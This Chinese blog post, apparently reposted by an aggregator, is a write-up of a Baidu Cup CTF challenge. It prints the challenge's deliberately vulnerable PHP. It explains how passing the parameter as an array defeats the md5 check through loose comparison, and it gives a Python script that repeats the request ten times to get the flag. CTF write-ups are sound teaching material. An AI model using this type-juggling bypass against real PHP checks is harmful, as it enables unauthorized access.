猥琐百度杯猥琐CTF
Posted 可我浪费着我寒冷的年华
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了猥琐百度杯猥琐CTF相关的知识,希望对你有一定的参考价值。
其实不难,但是作为我这个代码菜鸡+脑洞菜鸡+黑阔菜鸡而言确实挺难。
题目源码:
<?php error_reporting(0); session_start(); require(\'./flag.php\'); if(!isset($_SESSION[\'nums\'])){ $_SESSION[\'nums\'] = 0; $_SESSION[\'time\'] = time(); $_SESSION[\'whoami\'] = \'ea\'; } if($_SESSION[\'time\']+120<time()){ session_destroy(); } $value = $_REQUEST[\'value\']; $str_rand = range(\'a\', \'z\'); $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; if($_SESSION[\'whoami\']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ $_SESSION[\'nums\']++; $_SESSION[\'whoami\'] = $str_rands; echo $str_rands; } if($_SESSION[\'nums\']>=10){ echo $flag; } show_source(__FILE__); ?>
最主要的是那个19行的if语句。能够让她执行十次就可以得到Flag了。
首先先看一下if后面的那个代码:
substr(md5($value),5,4) == 0
其实他压根就是为真因为我们传如value是以数组的形式传入所以是不能用md5加密的。否则就是错误。这就是一道弱类型。所以这个不用管,因为他本身就为真。
主要是前面的
$_SESSION[\'whoami\']==($value[0].$value[1])
第一次传入ea然后就可以等于第8行,但是到了21行$str_rands这个变量又将$_SESSION[\'whoami\']的值给覆盖了,而$str_rands的值是通过
$str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
随机生成的。所以要进行一直浏览这个界面就可以得到Flag就行了。
作为python菜鸡网上找了相关案例:
#!usr/bin/env python #!coding=utf-8 __author__ = \'zhengjim\' import requests aa = requests.session() code = aa.get(\'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a\').text # print code cc = code[:2] for i in xrange(10): url = \'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}\'.format(cc[0],cc[1]) flag= aa.get(url=url).text cc = flag[:2] print flag
以上是关于猥琐百度杯猥琐CTF的主要内容,如果未能解决你的问题,请参考以下文章